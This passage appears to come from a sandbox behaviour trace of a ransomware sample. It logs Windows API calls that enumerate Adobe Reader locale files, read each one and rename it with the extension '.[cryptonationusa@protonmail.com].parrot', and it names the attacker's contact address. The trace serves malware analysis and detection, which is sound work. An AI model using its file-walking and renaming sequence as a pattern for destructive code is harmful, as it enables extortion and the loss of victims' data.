dwFlags=0x2) returned 1 [0261.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0261.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.048] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.049] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.049] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0261.050] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.050] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\ReadOutLoud.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\readoutloud.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\ReadOutLoud.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\readoutloud.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.055] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.055] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.057] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.057] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0261.058] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.058] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\reflow.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\reflow.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\reflow.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\reflow.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0261.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0261.063] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.063] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.065] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4600, lpOverlapped=0x0) returned 1 [0261.065] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.066] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.070] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.071] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.071] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5800, lpOverlapped=0x0) returned 1 [0261.072] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.072] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Search.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\search.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Search.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\search.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333b588 | out: hHeap=0x5b0000) returned 1 [0261.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.076] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.076] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.078] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.078] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3a00, lpOverlapped=0x0) returned 1 [0261.078] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.079] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.081] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.082] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0261.083] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0261.083] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.083] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0261.083] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0261.083] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0261.083] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.083] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0261.085] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.085] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b6b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x8b6b, lpOverlapped=0x0) returned 1 [0261.086] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.087] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0261.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0261.092] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.092] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0261.093] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.093] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe1, lpOverlapped=0x0) returned 1 [0261.094] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.094] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0261.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0261.098] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0261.098] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x27a31740, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x27a31740, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.099] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x27a0b5e0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x8c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0261.099] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.099] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.139] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.140] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0261.141] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.141] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Spelling.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\spelling.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.148] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.148] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.150] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.150] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0261.151] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.151] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\updater.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\updater.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\updater.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\updater.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0261.158] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.158] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.160] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6c00, lpOverlapped=0x0) returned 1 [0261.161] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.161] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3324d10 | out: hHeap=0x5b0000) returned 1 [0261.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0261.169] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0261.169] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x27ac9cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x27ac9cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.171] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x273336a0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xa528, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0261.171] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0261.173] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0261.173] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.174] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0261.174] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0261.174] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0261.174] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.174] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.177] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xae00, lpOverlapped=0x0) returned 1 [0261.180] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, 